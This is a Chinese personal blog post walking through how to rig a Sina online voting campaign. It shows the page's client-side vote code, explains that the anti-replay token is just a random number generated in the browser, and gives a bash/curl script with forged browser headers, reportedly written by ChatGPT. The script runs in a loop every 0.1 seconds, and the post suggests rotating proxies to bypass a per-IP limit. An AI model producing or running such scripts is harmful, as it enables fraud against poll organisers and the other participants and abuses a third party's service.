亲戚给了个新浪的投票链接让我帮忙刷票
地址是 http://h5.locate.sina.com.cn/h5/year/activity/
这平台不需要微信登录,自己浏览器投了个票看下请求
callback=jQuery1830560859883008xxx_171833334xxx&uid=5&uu=444192xxxx&_=171833338xxxx
翻一下 js 看看有没有加密
显然是没有的,但是这里面没看到投票逻辑代码
翻下页面元素
没绷住,逻辑代码直接写 html 里了
直接找到重点
if(!localStorage.getItem('uu')){
localStorage.setItem('uu', Math.ceil(Math.random()*10000000000));
}
$(".n").on("click",function (){
var index=$(this).parents("li").index();
var uu=localStorage.getItem('uu');
console.log(index);
$.ajax({
url: URL+'u',
type:'get',
data: {uid:index+1,uu:uu},
dataType: "jsonp",
jsonp: "callback",
success: function(res) {
if(res.info){
//alert(res.info);
$(".tips").text(res.info).fadeIn();
setTimeout(function (){
$(".tips").fadeOut();
},2000);
newslist(index); //数据刷新
return 0;
}
}
});
这两段代码基本上就是整个投票逻辑了
主要就是传三个参数 callback
uid
uu
callback
的话没什么好说的,就一个常规的 jQuery 请求后端接口,参数用 jQuery
后面随便接一段数字,然后下划线后面跟时间戳就好
uid
就是投票的项目
uu
是投票的校验,但是这玩意代码我上面已经写出来了(你都明文没加密了还要校验干嘛),应该是防重放攻击的
然后再带个请求头模拟正常用户
叫 ChatGPT 来写个脚本
#!/bin/bash
# blog.baka.plus 转载请注明来源
# 定义目标URL
BASE_URL="http://admin.h5sina.com/activity/index/u"
# 生成随机的 uu 值,若已存在则使用存储值
if [ -z "$LOCAL_UU" ]; then
LOCAL_UU=$(shuf -i 1-10000000000 -n 1)
fi
# 定义其他必要的参数
UID11=5 #不用uid防止和系统变量冲突
TIMESTAMP=$(date +%s%N | cut -b1-13)
CALLBACK="jQuery183044178990760114514_$TIMESTAMP"
# 构建完整URL
URL="$BASE_URL?callback=$CALLBACK&uid=$UID11&uu=$LOCAL_UU&_=$TIMESTAMP" #最后面的参数可以不要,防止缓存用的,但为了和正常请求的参数一致还是带上了
# 执行curl请求
curl "$URL" \
-H 'Accept: */*' \
-H 'Accept-Language: zh-CN,zh;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Referer: http://h5.xxx.sina.com.cn/' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36'
循环运行一下
while true
do
bash script.sh
sleep 0.1
done
因为单 ip 只能投票三次,所以每投三张票得更换代理,这里就不再赘述
此文由 Mix Space 同步更新至 xLog
原始链接为 https://blog.baka.plus/posts/tech/sina-vote-platform-vote-manipulation